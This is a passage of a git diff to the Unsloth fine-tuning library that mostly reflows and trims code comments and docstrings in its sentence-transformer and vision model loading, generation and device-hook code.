"reduce-overhead" uses CUDA Graphs, which are incompatible with PEFT.compile_mode = "default"if dtype is None:@@ -1641,7 +1577,6 @@ class FastSentenceTransformer(FastModel):bnb_4bit_use_double_quant = True,)model_kwargs["quantization_config"] = bnb_config- # When using quantization, device must be handled by acceleratest_device = None# Gradient checkpointing conflicts with torch.compile, so warn the user.@@ -1658,8 +1593,7 @@ class FastSentenceTransformer(FastModel):elif is_mpnet:FastSentenceTransformer._patch_mpnet_v5()- # ST takes cache_folder, not cache_dir: map cache_dir onto it so this load hits the warm (None lets- # ST honor SENTENCE_TRANSFORMERS_HOME, matching the prefetch).+ # ST takes cache_folder, not cache_dir: map cache_dir onto it so this load hits the warm cache (None lets ST honor SENTENCE_TRANSFORMERS_HOME, matching the prefetch).st_model = SentenceTransformer(model_name,device = st_device,@@ -1686,13 +1620,10 @@ class FastSentenceTransformer(FastModel):save_method = "merged_16bit",**save_kwargs,):- # tokenizer and save_method are positional to match- # FastLanguageModel.save_pretrained_merged(dir, tokenizer, save_method = ...), which is how the- # docs and notebooks call it; keyword callers are unaffected.+ # tokenizer and save_method are positional to match FastLanguageModel.save_pretrained_merged(dir, tokenizer, save_method = ...), which is how the docs and notebooks call it; keyword callers are unaffected.save_method = _normalize_save_method(save_method)if save_method not in ("merged_16bit", None):- # Refused before anything is written: this path merges and unloads unconditionally, so accepting- # "lora" would write full weights for a request to write adapters.+ # Refused before anything is written: this path merges and unloads unconditionally, so accepting "lora" would write full weights for a request to write adapters.raise NotImplementedError(f"Unsloth: save_method = {save_method!r} is not "f"supported for this SentenceTransformer; only "@@ -1757,7 +1688,6 @@ class FastSentenceTransformer(FastModel):print("Unsloth Warning: 4-bit quantization adds ~2.3x overhead for encoder models.")print("Consider using load_in_16bit=True for better performance.")- # check if the model supports add_pooling_layerif "add_pooling_layer" not in kwargs:supported = FastSentenceTransformer._has_add_pooling_layer(config, kwargs.get("auto_model", AutoModel)@@ -1771,8 +1701,7 @@ class FastSentenceTransformer(FastModel):logging.info("Unsloth: Disabling fp8 for model")load_in_fp8 = False- # Fix for Snowflake/snowflake-arctic-embed-l-v2.0: it has pooler weights irrelevant to training, but- # unsloth throws when UNSLOTH_WARN_UNINITIALIZED == 1 and it sees unused weights.+ # Fix for Snowflake/snowflake-arctic-embed-l-v2.0: it has pooler weights irrelevant to training, but unsloth throws when UNSLOTH_WARN_UNINITIALIZED == 1 and it sees unused weights.old_environ = os.environ.get("UNSLOTH_WARN_UNINITIALIZED", "1")os.environ["UNSLOTH_WARN_UNINITIALIZED"] = "0"@@ -1788,9 +1717,7 @@ class FastSentenceTransformer(FastModel):elif is_mpnet:FastSentenceTransformer._patch_mpnet_v5()- # No modules.json means forcing 16-bit: saving is custom for these models and 4-bit would need- # dequant in save_pretrained_merged. Resolve the warmed cache: hf_hub_download ignores- # SENTENCE_TRANSFORMERS_HOME, so pass it as cache_dir.+ # No modules.json means forcing 16-bit: saving is custom for these models and 4-bit would need dequant in save_pretrained_merged. Resolve the warmed cache: hf_hub_download ignores SENTENCE_TRANSFORMERS_HOME, so pass it as cache_dir.has_modules_json = (FastSentenceTransformer._module_path(model_name,@@ -1812,15 +1739,12 @@ class FastSentenceTransformer(FastModel):load_in_4bit = Falseload_in_16bit = True- # The fallback FastModel load reads HF cache_dir, not ST's cache_folder/SENTENCE_TRANSFORMERS_HOME,- # so point it at the warmed cache, but only when no explicit cache_dir was passed.+ # The fallback FastModel load reads HF cache_dir, not ST's cache_folder/SENTENCE_TRANSFORMERS_HOME, so point it at the warmed cache, but only when no explicit cache_dir was passed._st_cache_dir = kwargs.get("cache_folder") or os.environ.get("SENTENCE_TRANSFORMERS_HOME")if _st_cache_dir is not None and "cache_dir" not in kwargs:kwargs["cache_dir"] = _st_cache_dir- # The decline above only spends the sentinel on our copy: strip the marker before the nested load,- # or FastModel reads it as "nobody chose this" and re-upgrades it under UNSLOTH_AUTO_DEVICE_MAP.- # A plain value rather than pinning the env var, since os.environ is process-wide.+ # The decline above only spends the sentinel on our copy: strip the marker before the nested load, or FastModel reads it as "nobody chose this" and re-upgrades it under UNSLOTH_AUTO_DEVICE_MAP. A plain value rather than pinning the env var, since os.environ is process-wide.device_map = unmarked_device_map(device_map)try:model, tokenizer = FastModel.from_pretrained(@@ -1863,8 +1787,7 @@ class FastSentenceTransformer(FastModel):max_seq_length,pooling_mode,trust_remote_code = trust_remote_code,- # Same resolved cache as above so the fallback module loads hit the warm, not Xet, and the same- # revision as the weight load (None = default branch).+ # Same resolved cache as above so the fallback module loads hit the warm cache, not Xet, and the same revision as the weight load (None = default branch).cache_dir = kwargs.get("cache_dir")or kwargs.get("cache_folder")or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),@@ -1887,12 +1810,10 @@ class FastSentenceTransformer(FastModel):save_method = "merged_16bit",**kwargs,):- # Positional to match FastLanguageModel.save_pretrained_merged; see the note on the other definition- # above. This path forwards to that merge, which understands every save_method.+ # Positional to match FastLanguageModel.save_pretrained_merged; see the note on the other definition above. This path forwards to that merge, which understands every save_method.save_method = _normalize_save_method(save_method)if self.no_modules and save_method not in ("merged_16bit", None):- # The no_modules branch below merges and unloads unconditionally and drops save_method, so accepting- # "lora" here would return full weights for a request to write adapters.+ # The no_modules branch below merges and unloads unconditionally and drops save_method, so accepting "lora" here would return full weights for a request to write adapters.raise NotImplementedError(f"Unsloth: save_method = {save_method!r} is not supported "f"for this SentenceTransformer: no modules.json was found, "@@ -1907,7 +1828,6 @@ class FastSentenceTransformer(FastModel):}# sentence-transformers config and modules are only saved if save_pretrained is called.- # sentence-transformers config and modules only get saved if we call save_pretrainedself.save_pretrained(save_directory)# Remove LoRA adapters only if they were created by save_pretrained, not pre-existing.@@ -1923,10 +1843,8 @@ class FastSentenceTransformer(FastModel):else:kwargs.pop("tokenizer", None)if self.no_modules:- # Fallback for non-sentence-transformers models.print("Unsloth: No modules detected. Using standard merge_and_unload for saving...")safe_kwargs = kwargs.copy()- # Filter out Unsloth-specific args that are not in huggingface's save_pretrained.unsloth_args = ["save_method","temporary_location",@@ -1979,7 +1897,6 @@ class FastSentenceTransformer(FastModel):except:pass- # order doesn't seem to matter for this after repo creation...FastSentenceTransformer._add_unsloth_tags(repo_id, token)with tempfile.TemporaryDirectory() as temp_dir:@@ -2027,11 +1944,9 @@ class FastSentenceTransformer(FastModel):print("Setting task_type to FEATURE_EXTRACTION")if isinstance(model, SentenceTransformer):- # Check whether this is a fast encoder model, which uses torch.compile instead of Unsloth patching.is_fast_encoder = getattr(model, "_unsloth_fast_encoder", False)if is_fast_encoder:- # Fast encoder path: Use native PEFT + torch.compile (6x speedup)transformer_module = model[0]inner_model = transformer_module.auto_model@@ -2083,8 +1998,7 @@ class FastSentenceTransformer(FastModel):else:raise- # Enable gradient checkpointing if requested, only for non-quantized models, since prepare_model- # handles the rest.+ # Enable gradient checkpointing if requested, only for non-quantized models, since prepare_model handles the rest.elif use_gradient_checkpointing and use_gradient_checkpointing != False:if hasattr(inner_model, "gradient_checkpointing_enable"):try:@@ -2114,18 +2028,15 @@ class FastSentenceTransformer(FastModel):from ._utils import _prepare_model_for_qatpeft_model = _prepare_model_for_qat(peft_model, qat_scheme)- # Determine the compile mode, only if not using gradient checkpointing, and re-enable torch.compile- # when gradient checkpointing was requested but could not be enabled.+ # Determine the compile mode, only if not using gradient checkpointing, and re-enable torch.compile when gradient checkpointing was requested but could not be enabled.compile_mode = getattr(model, "_compile_mode", "default")- # Re-enable torch.compile if gradient checkpointing was requested but couldn't be enabledif compile_mode is None and not gc_enabled:compile_mode = "default"print("Unsloth: Re-enabling torch.compile since gradient checkpointing is not supported")- # Re-assign the peft model back to the transformer module; on sentence-transformers >= 5.4- # auto_model is a read-only property backed by self.model, so write to the backing attribute there.+ # Re-assign the peft model back to the transformer module; on sentence-transformers >= 5.4 auto_model is a read-only property backed by self.model, so write to the backing attribute there.if isinstance(getattr(type(transformer_module), "auto_model", None), property):transformer_module.model = peft_modelelse:@@ -2174,8 +2085,7 @@ class FastSentenceTransformer(FastModel):**kwargs,)- # Re-assign the peft model back to the transformer module; on sentence-transformers >= 5.4- # auto_model is a read-only property backed by self.model, so write to the backing attribute there.+ # Re-assign the peft model back to the transformer module; on sentence-transformers >= 5.4 auto_model is a read-only property backed by self.model, so write to the backing attribute there.if isinstance(getattr(type(transformer_module), "auto_model", None), property):transformer_module.model = peft_modelelse:@@ -2207,12 +2117,7 @@ class FastSentenceTransformer(FastModel):def _patch_sentence_transformer_trainer():- """- Patch SentenceTransformerTrainer to automatically apply torch.compile- when training steps exceed the breakeven threshold.-- This is called automatically when this module is imported.- """+ """Patch SentenceTransformerTrainer to automatically apply torch.compile when training steps exceed the breakeven threshold. Called automatically when this module is imported."""try:from sentence_transformers import SentenceTransformerTrainerexcept ImportError:@@ -2230,7 +2135,6 @@ def _patch_sentence_transformer_trainer():model = kwargs.get("model") or (args[0] if args else None)training_args = kwargs.get("args") or (args[1] if len(args) > 1 else None)- # Check if model has pending compileif (model is not Noneand training_args is not None@@ -2239,7 +2143,6 @@ def _patch_sentence_transformer_trainer():max_steps = getattr(training_args, "max_steps", -1)compile_mode = getattr(model, "_compile_mode", "default")- # Re-estimate the threshold now that training args are available.batch_size = getattr(training_args, "per_device_train_batch_size", None)grad_accum = getattr(training_args, "gradient_accumulation_steps", None)max_seq_length = getattr(model, "max_seq_length", None)@@ -2293,8 +2196,7 @@ def _patch_sentence_transformer_trainer():def _patch_st_trainer_load_from_checkpoint():- # Parameterless modules (Pooling, Normalize) make next(module.parameters()) raise StopIteration; route- # through the SentenceTransformer's device property instead.+ # Parameterless modules (Pooling, Normalize) make next(module.parameters()) raise StopIteration; route through the SentenceTransformer's device property instead.try:from sentence_transformers import SentenceTransformerTrainerexcept ImportError:@@ -2395,8 +2297,7 @@ def _patch_st_trainer_load_from_checkpoint():fresh = module_cls.load(module_dir)if not isinstance(fresh, module_cls):raise RuntimeError(f"Unsloth: Module {idx} reload returned wrong type.")- # Parameterless modules (Pooling, Normalize) make next(module.parameters()) raise StopIteration, so- # route through the SentenceTransformer's device property instead.+ # Parameterless modules (Pooling, Normalize) make next(module.parameters()) raise StopIteration, so route through the SentenceTransformer's device property instead.try:fresh.to(self.model.device)except AttributeError:diff --git a/unsloth/models/vision.py b/unsloth/models/vision.pyindex e17ffd384d5..ba5e2f872db 100644--- a/unsloth/models/vision.py+++ b/unsloth/models/vision.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.@@ -104,7 +101,6 @@ import contextlibtry:from huggingface_hub.utils import get_tokenexcept:- # Old HF Hub versions <= 0.0.25.from huggingface_hub.utils._token import get_tokenfrom ..device_type import (get_device_stats,@@ -153,15 +149,7 @@ def _infer_device_map_from_loaded_model(model):def _repair_dispatch_hooks(model):- """Give a dispatched module its hook back after the load replaced it.-- `dispatch_model` hooks every map entry; what drops the hook is our own- `post_patch` -> `patch_model_and_tokenizer`, which installs a NEW Embedding- and Linear over the same weights, so `_hf_hook` dies with the old module.- Not tied-specific: `tie_word_embeddings = False` fails identically.- Unrepaired, a split model raises `index is on cuda:0, different from other- tensors on cuda:1` at the first embedding lookup.- """+ """Give a dispatched module its hook back after the load replaced it. `dispatch_model` hooks every map entry; what drops the hook is our own `post_patch` -> `patch_model_and_tokenizer`, which installs a NEW Embedding and Linear over the same weights, so `_hf_hook` dies with the old module. Not tied-specific: `tie_word_embeddings = False` fails identically. Unrepaired, a split model raises `index is on cuda:0, different from other tensors on cuda:1` at the first embedding lookup."""device_map = getattr(model, "hf_device_map", None)if not device_map or len(set(device_map.values())) < 2:return 0@@ -170,16 +158,13 @@ def _repair_dispatch_hooks(model):except ImportError:return 0- # dispatch sets io_same_device on the ROOT only; setting it on a submodule copies every result- # back and forth.+ # dispatch sets io_same_device on the ROOT only; setting it on a submodule copies every result back and forth.skip_keys = getattr(model, "_skip_keys_device_placement", None)io_same_device = not hasattr(model, "_hf_hook")targets = {name: device for name, device in device_map.items() if name}- # A coarse map covers an endpoint through an ANCESTOR and dispatch hooks it anyway, so iterating- # keys alone misses the rebuilt one. Endpoints only: repairing every covered descendant would- # hook thousands that never lost one.+ # A coarse map covers an endpoint through an ANCESTOR and dispatch hooks it anyway, so iterating keys alone misses the rebuilt one. Endpoints only: repairing every covered descendant would hook thousands that never lost one.for get in ("get_input_embeddings", "get_output_embeddings"):try:replaced = getattr(model, get, lambda: None)()@@ -244,14 +229,7 @@ def _repair_dispatch_hooks(model):def _lift_endpoint_hooks_onto_adapters(model):- """After PEFT wraps a repaired endpoint, lift its hook onto the wrapper.-- The hook wraps the module's OWN forward, so it moves the input inside- `base_layer(x)`; `lora.Linear.forward` then feeds the CALLER's `x` to- `lora_A` (casting dtype, not device), whose weights PEFT placed on the base- layer's device. Split across cards, the adapter branch raises where the base- call did not. peft 0.20.0.- """+ """After PEFT wraps a repaired endpoint, lift its hook onto the wrapper. The hook wraps the module's OWN forward, so it moves the input inside `base_layer(x)`; `lora.Linear.forward` then feeds the CALLER's `x` to `lora_A` (casting dtype, not device), whose weights PEFT placed on the base layer's device, so split across cards the adapter branch raises where the base call did not. peft 0.20.0."""try:from accelerate.hooks import AlignDevicesHook, add_hook_to_moduleexcept ImportError:@@ -299,15 +277,10 @@ def _lift_endpoint_hooks_onto_adapters(model):def _attach_bnb_multidevice_hooks(model, load_in_4bit, load_in_8bit, offload_embedding, fast_inference):- """- Attach accelerate AlignDevicesHook on a bnb model loaded across multiple- devices (or a non-default device). No-op for single-GPU cuda:0, non-bnb,- vLLM, or already-dispatched models.- """+ """Attach accelerate AlignDevicesHook on a bnb model loaded across multiple devices (or a non-default device). No-op for single-GPU cuda:0, non-bnb, vLLM, or already-dispatched models."""if fast_inference:return- # Before the bnb gate: the rebuild happens whatever the quantization. Not under offload, where- # _embedding_dispatch_device READS this hook to place the ids.+ # Before the bnb gate: the rebuild happens whatever the quantization. Not under offload, where _embedding_dispatch_device READS this hook to place the ids.if not offload_embedding:repaired = _repair_dispatch_hooks(model)if repaired:@@ -389,7 +362,6 @@ def _attach_bnb_multidevice_hooks()desc = f"{len(inferred_map)} block(s) across {len(cuda_devs)} device(s)"finally:- # Restore stripped keys.for param, key, val in _stripped:param.__dict__[key] = val@@ -426,9 +398,7 @@ def _unsloth_generate_accepts_kwarg(model, key):def _install_offload_embedding_hooks(embed_tokens, output_embeddings, return_device):- # Lookup runs on the weight's current device (CPU when offloaded); the output returns to the- # decoder device read live from output_embeddings, so it tracks model.to() moves. A meta or- # missing lm_head falls back to return_device.+ # Lookup runs on the weight's current device (CPU when offloaded); the output returns to the decoder device read live from output_embeddings, so it tracks model.to() moves. A meta or missing lm_head falls back to return_device.if embed_tokens is None:return Falseif getattr(embed_tokens, "_unsloth_offload_hooks_installed", False):@@ -513,23 +483,18 @@ def _offload_embedding_unsupported_platform():def _embedding_dispatch_device(input_embeddings):- # accelerate's hook re-sends the ids to the device it recorded, after our offload pre-hook- # already sent them to the CPU weight. Returns that device, or None.+ # accelerate's hook re-sends the ids to the device it recorded, after our offload pre-hook already sent them to the CPU weight. Returns that device, or None.hook = getattr(input_embeddings, "_hf_hook", None)return None if hook is None else getattr(hook, "execution_device", None)-# Big in absolute terms and big on this card, since every lookup then crosses PCIe: 2.5 GiB is-# 16% of a 16 GB T4 and worth moving, 3% of an 80 GB card and not.+# Big in absolute terms and big on this card, since every lookup then crosses PCIe: 2.5 GiB is 16% of a 16 GB T4 and worth moving, 3% of an 80 GB card and not._OFFLOAD_EMBEDDING_MIN_BYTES = 2**30_OFFLOAD_EMBEDDING_MIN_FRACTION = 0.05def _embedding_is_worth_offloading(input_embeddings):- """Whether `"auto"` should offload, judged from the embedding against its own card.-- False on anything unmeasurable, which is what every release before this one did.- """+ """Whether `"auto"` should offload, judged from the embedding against its own card. False on anything unmeasurable, which is what every release before this one did."""try:weight = getattr(input_embeddings, "weight", None)if weight is None:@@ -547,17 +512,7 @@ def _embedding_is_worth_offloading(input_embeddings):def _resolve_offload_embedding(model, offload_embedding):- """Report `offload_embedding` as True only when the offload will really run.-- It is a VRAM optimisation, not a correctness switch, so turn it off where it- cannot help instead of failing the load. It also gates- `_attach_bnb_multidevice_hooks`, which must still run whenever no offload- happens, so every "no offload" case has to answer False.-- `"auto"` (the default) decides from the size of the embedding, and the declines below- stay silent for it: they explain why something a caller *asked* for is not happening,- and nobody asked for a default.- """+ """Report `offload_embedding` as True only when the offload will really run. It is a VRAM optimisation, not a correctness switch, so turn it off where it cannot help instead of failing the load. It also gates `_attach_bnb_multidevice_hooks`, which must still run whenever no offload happens, so every "no offload" case has to answer False. `"auto"` (the default) decides from the size of the embedding, and the declines below stay silent for it: they explain why something a caller asked for is not happening, and nobody asked for a default."""automatic = offload_embedding == OFFLOAD_EMBEDDING_AUTOdef _decline(reason):@@ -583,9 +538,7 @@ def _resolve_offload_embedding(model, offload_embedding):if _embedding_dispatch_device(in_embed) is not None:return _decline("this model is dispatched across devices, which overrides the offload.")if is_distributed():- # The offload leaves embed_tokens on the CPU while the rest of the rank stays on CUDA; under- # full finetuning it is trainable, and DDP with device_ids refuses a module whose trainable- # parameters span both.+ # The offload leaves embed_tokens on the CPU while the rest of the rank stays on CUDA; under full finetuning it is trainable, and DDP with device_ids refuses a module whose trainable parameters span both.return _decline("a distributed launch cannot wrap a model split across CPU and GPU.")return _embedding_is_worth_offloading(in_embed) if automatic else True@@ -764,7 +717,6 @@ def unsloth_base_fast_generate(self, *args, **kwargs):FastBaseModel.for_inference(self)dtype = _get_dtype(dtype_from_config(self.config))- # Handle full float32 cases as config.dtype == torch.float32!do_bfloat16_mixed_precision = os.environ.get("UNSLOTH_BFLOAT16_MIXED_PRECISION", "0") == "1"if do_bfloat16_mixed_precision:dtype = torch.bfloat16@@ -778,30 +730,21 @@ def unsloth_base_fast_generate(self, *args, **kwargs):# Removing token_type_ids is WRONG for Gemma 3, which uses bidirectional attention.if hasattr(self, "generate") and hasattr(self, "forward"):- # did not combine with below since self might not have modelkeys = inspect.signature(self.forward).parameters.keys()if "token_type_ids" not in keys:kwargs.pop("token_type_ids", None)- # Vision processors emit mm_token_type_ids that generate() rejects (Qwen3-VL); unlike- # logits_to_keep it is an incoming kwarg, so drop it when generate does not accept it.+ # Vision processors emit mm_token_type_ids that generate() rejects (Qwen3-VL); unlike logits_to_keep it is an incoming kwarg, so drop it when generate does not accept it.if "mm_token_type_ids" in kwargs and not _unsloth_generate_accepts_kwarg(self, "mm_token_type_ids"):kwargs.pop("mm_token_type_ids", None)- # VLMs do not allow logits_to_keep, and transformers >= 5.0 sets it itself in- # generate(), so pre-injecting there is redundant and the arch walk below can- # pick a key the top-level model rejects.- # The sentinel is the plain release: this Version() keeps only the leading- # numeric run and appends ".1" for a suffix, so a "5.0.0.dev0" sentinel would- # normalize to 5.0.0.1 and send 5.0.0 FINAL down the legacy branch. Prereleases- # still gate correctly, since they normalize to 5.0.0.1 either way.+ # VLMs do not allow logits_to_keep, and transformers >= 5.0 sets it itself in generate(), so pre-injecting there is redundant and the arch walk below can pick a key the top-level model rejects. The sentinel is the plain release: this Version() keeps only the leading numeric run and appends ".1" for a suffix, so a "5.0.0.dev0" sentinel would normalize to 5.0.0.1 and send 5.0.0 FINAL down the legacy branch. Prereleases still gate correctly.if Version(transformers_version) < Version("5.0.0"):global NUM_LOGITS_TO_KEEPif arch not in NUM_LOGITS_TO_KEEP:m = self- # find which is used: num_logits_to_keep or logits_to_keepwhile hasattr(m, "model"):if hasattr(m, "forward"):keys = inspect.signature(m.forward).parameters.keys()@@ -818,12 +761,7 @@ def unsloth_base_fast_generate(self, *args, **kwargs):if key is not None and key not in kwargs and _unsloth_generate_accepts_kwarg(self, key):kwargs[key] = 1else:- # v5's own injection is guarded by `"logits_to_keep" not in model_kwargs`,- # so it is a DEFAULT: an explicit caller value survives, and popping- # unconditionally would rewrite logits_to_keep=0 (full sequence) into 1.- # Strip only what the strict validator raises on: num_logits_to_keep- # everywhere (renamed away in v5), and logits_to_keep on the VLMs whose- # top-level forward does not take it.+ # v5's own injection is guarded by `"logits_to_keep" not in model_kwargs`, so it is a DEFAULT: an explicit caller value survives, and popping unconditionally would rewrite logits_to_keep=0 (full sequence) into 1. Strip only what the strict validator raises on: num_logits_to_keep everywhere (renamed away in v5), and logits_to_keep on the VLMs whose top-level forward does not take it.for _logits_kwarg in ("logits_to_keep", "num_logits_to_keep"):if _logits_kwarg in kwargs and not _unsloth_generate_accepts_kwarg(self, _logits_kwarg):kwargs.pop(_logits_kwarg, None)@@ -843,8 +781,7 @@ def unsloth_base_fast_generate(self, *args, **kwargs):except:pass- # Mixed precision autocast. Stamped by from_pretrained: UNSLOTH_FORCE_FLOAT32 is process wide,- # so a later load would otherwise decide this model's rollouts.+ # Mixed precision autocast. Stamped by from_pretrained: UNSLOTH_FORCE_FLOAT32 is process wide, so a later load would otherwise decide this model's rollouts.forced_float32 = getattr(self, "_unsloth_forced_float32", None)if forced_float32 is None:forced_float32 = os.environ.get("UNSLOTH_FORCE_FLOAT32", "0") == "1"@@ -852,9 +789,7 @@ def unsloth_base_fast_generate(self, *args, **kwargs):autocaster = torch.autocast(device_type = DEVICE_TYPE_TORCH, dtype = torch.float16)dtype = torch.float16else:- # CUDA autocast does not validate its dtype like the CPU/XPU/MPS paths, so- # autocast(dtype=torch.float32) enters ENABLED instead of becoming a no-op and the compiled- # graph returns inf/NaN logits. A float32 model has nothing to autocast to, so disable.+ # CUDA autocast does not validate its dtype like the CPU/XPU/MPS paths, so autocast(dtype=torch.float32) enters ENABLED instead of becoming a no-op and the compiled graph returns inf/NaN logits. A float32 model has nothing to autocast to, so disable.autocaster = torch.autocast(device_type = DEVICE_TYPE_TORCH,dtype = dtype,@@ -863,13 +798,10 @@ def unsloth_base_fast_generate(self, *args, **kwargs):# Prepare LoRA# state_dict = convert_lora_modules(self, dtype = dtype)- # FlashAttention breaks on the forced static cache below (unfilled slots stay unmasked while- # decoding), so delegate after normalization but before it.+ # FlashAttention breaks on the forced static cache below (unfilled slots stay unmasked while decoding), so delegate after normalization but before it._clear_generation_caches(self)if _uses_flash_attention_for_generation(self.config):- # Pin the literal "dynamic": None is merged back to the model default, and a static cache still- # arrives via kwargs or the caller's generation_config (TRL). The kwarg wins, since update runs- # last; skip it when the caller passed a cache.+ # Pin the literal "dynamic": None is merged back to the model default, and a static cache still arrives via kwargs or the caller's generation_config (TRL). The kwarg wins, since update runs last; skip it when the caller passed a cache.if kwargs.get("past_key_values") is None:kwargs["cache_implementation"] = "dynamic"try:@@ -891,7 +823,6 @@ def unsloth_base_fast_generate(self, *args, **kwargs):cache_implementation = getattr(self.config, "cache_implementation", None)if getattr(self, "_supports_static_cache", getattr(self, "_can_compile_fullgraph", True)):if os.environ.get("UNSLOTH_DISABLE_STATIC_GENERATION", "0") == "0":- # Should work in latest transformers!cache_implementation = "static"elif Version(transformers_version) < Version("4.56.0.dev0"):cache_implementation = None@@ -910,7 +841,6 @@ def unsloth_base_fast_generate(self, *args, **kwargs):cache_implementation = "hybrid"else:cache_implementation = "static"- # Static fails for reasons unknown.if do_bfloat16_mixed_precision:cache_implementation = None@@ -944,10 +874,7 @@ from .loader_utils import (def _missing_torchvision_error(error = None):- """True if a VLM processor failed to load due to missing torchvision (#4202).-- Checks availability directly first, then only the specific torchvision-required- error text (not any incidental "torchvision" substring like a model path)."""+ """True if a VLM processor failed to load due to missing torchvision (#4202). Checks availability directly first, then only the specific torchvision-required error text, not any incidental "torchvision" substring like a model path."""import importlib.utilif importlib.util.find_spec("torchvision") is None:@@ -969,10 +896,7 @@ def _construct_vlm_processor_fallback(local_files_only = False,revision = None,):- """Build a VLM processor manually when AutoProcessor.from_pretrained fails (some VLMs- have unresolvable tokenizer_class entries): load the image processor + tokenizer- separately and combine. Returns (processor_or_None, error_or_None) so the caller can- tell an offline failure (retry from cache) from a genuine one."""+ """Build a VLM processor manually when AutoProcessor.from_pretrained fails (some VLMs have unresolvable tokenizer_class entries): load the image processor and tokenizer separately and combine. Returns (processor_or_None, error_or_None) so the caller can tell an offline failure (retry from cache) from a genuine one."""_fb_err = Nonetry:from transformers import AutoImageProcessor, AutoConfig@@ -994,8 +918,7 @@ def _construct_vlm_processor_fallback(local_files_only = local_files_only,revision = revision,)- # Load the tokenizer via PreTrainedTokenizerFast, bypassing the tokenizer_class check and- # resolving the cached snapshot first so transformers does not call model_info (#7481).+ # Load the tokenizer via PreTrainedTokenizerFast, bypassing the tokenizer_class check and resolving the cached snapshot first so transformers does not call model_info (#7481).tok = _load_pretrained_tokenizer_fast(tokenizer_name,padding_side = "left",@@ -1005,16 +928,14 @@ def _construct_vlm_processor_fallback(local_files_only = local_files_only,revision = revision,)- # Read tokenizer_config.json for special tokens: prefer the local file (offline / local- # checkpoint dir), else hf_hub_download with local_files_only forwarded.+ # Read tokenizer_config.json for special tokens: prefer the local file (offline / local checkpoint dir), else hf_hub_download with local_files_only forwarded.try:import json as _jsontok_config = None_local_cfg = os.path.join(tokenizer_name, "tokenizer_config.json")if os.path.isdir(tokenizer_name):- # Local dir: read directly, so a missing file raises a clear FileNotFoundError rather than- # letting hf_hub_download treat the path as a repo id.+ # Local dir: read directly, so a missing file raises a clear FileNotFoundError rather than letting hf_hub_download treat the path as a repo id.if os.path.exists(_local_cfg):with open(_local_cfg, "r", encoding = "utf-8") as f:tok_config = _json.load(f)@@ -1050,8 +971,7 @@ def _construct_vlm_processor_fallback(except Exception as _e:_fb_err = _e # remember (non-fatal here); surfaced only if no processor is built- # Find the processor class by model_type first: it may be a sub-model type ("lfm2" not- # "lfm2_vl"), so fall back to the top-level config.model_type, which often has the mapping.+ # Find the processor class by model_type first: it may be a sub-model type ("lfm2" not "lfm2_vl"), so fall back to the top-level config.model_type, which often has the mapping.proc_class_name = PROCESSOR_MAPPING_NAMES.get(model_type)if proc_class_name is None:try:@@ -1083,8 +1003,7 @@ def _construct_vlm_processor_fallback(def _get_total_transformer_layers(model):- """Best-effort total transformer block count across HF model shapes.- Returns None if not determinable; caller should skip the conversion."""+ """Best-effort total transformer block count across HF model shapes; None if not determinable, in which case the caller skips the conversion."""cfg = getattr(model, "config", None)if cfg is None:return None@@ -1146,11 +1065,9 @@ class FastBaseModel:unsloth_vllm_standby = False,load_in_fp8 = False, # fp8 LoRA (True, False, 'block')text_only = False,- # True when the caller already swapped a multimodal config for its text sub-config, so- # auto_config no longer describes the repo. Set by loader.py and by the block below.+ # True when the caller already swapped a multimodal config for its text sub-config, so auto_config no longer describes the repo. Set by loader.py and by the block below.text_only_decoder = False,- # True when auto_config came from the caller. It cannot be inferred here: FastModel pops config- # out of kwargs before this sees them, so it looks exactly like one we resolved ourselves.+ # True when auto_config came from the caller. It cannot be inferred here: FastModel pops config out of kwargs before this sees them, so it looks exactly like one we resolved ourselves.auto_config_from_caller = False,fix_tokenizer = True,**kwargs,@@ -1159,8 +1076,7 @@ class FastBaseModel:if auto_config is None and user_config is not None:auto_config = user_config- # Offline snapshot for the loads below; not popped, so the weight load still reads- # local_files_only from **kwargs. See _get_effective_local_files_only.+ # Offline snapshot for the loads below; not popped, so the weight load still reads local_files_only from **kwargs. See _get_effective_local_files_only.local_files_only = _get_effective_local_files_only(kwargs)if unsloth_vllm_standby and os.environ.get("UNSLOTH_VLLM_STANDBY", "0") != "1":@@ -1175,8 +1091,7 @@ class FastBaseModel:if os.environ.get("UNSLOTH_MODEL_NAME", "") == "":os.environ["UNSLOTH_MODEL_NAME"] = model_name.lower()- # Read from kwargs, not the signature: the weight load below forwards **kwargs, so binding it- # would drop it there.+ # Read from kwargs, not the signature: the weight load below forwards **kwargs, so binding it would drop it there._revision = kwargs.get("revision")_tokenizer_revision_arg = kwargs.pop("tokenizer_revision", None)if _revision is not None and fast_inference and is_vLLM_available():@@ -1190,8 +1105,7 @@ class FastBaseModel:kwargs.pop("revision", None)_revision_repo = model_name # The repo the pin names, captured before any remap.- # Resolve text-only before the is_vlm / vLLM checks so is_vlm stays consistent; skip the vision- # tower only for families with their own text decoder (Gemma 3) (#5816).+ # Resolve text-only before the is_vlm / vLLM checks so is_vlm stays consistent; skip the vision tower only for families with their own text decoder (Gemma 3) (#5816).if text_only and auto_config is None:auto_config = AutoConfig.from_pretrained(model_name,@@ -1216,13 +1130,9 @@ class FastBaseModel:AutoModelForVision2Seq,AutoModelForImageTextToText,]:- # Pure text model requested text-only with a VLM auto class.auto_model = AutoModelForCausalLMis_vlm = auto_model in [AutoModelForVision2Seq, AutoModelForImageTextToText]- # A repo-code VLM may register only AutoModel / AutoModelForCausalLM (DeepSeek-OCR,- # Nemotron-VL), so auto_model is not a VLM class though the config is a vision model. Keep- # is_vlm for processor selection, but treat it as a VLM on the vLLM path so a vision_config- # model is never silently loaded as text-only.+ # A repo-code VLM may register only AutoModel / AutoModelForCausalLM (DeepSeek-OCR, Nemotron-VL), so auto_model is not a VLM class though the config is a vision model. Keep is_vlm for processor selection, but treat it as a VLM on the vLLM path so a vision_config model is never silently loaded as text-only.is_vlm_config = is_vlm or (not text_only and hasattr(auto_config, "vision_config"))is_whisper = whisper_language is not None and whisper_task is not Noneauto_processor = AutoProcessor if (is_vlm or is_whisper) else AutoTokenizer@@ -1243,8 +1153,7 @@ class FastBaseModel:)if any(arch in VLLM_NON_LORA_VLM for arch in model_types):- # mllama is still only in vllm v0, and vLLM V0 does not support LoRA on 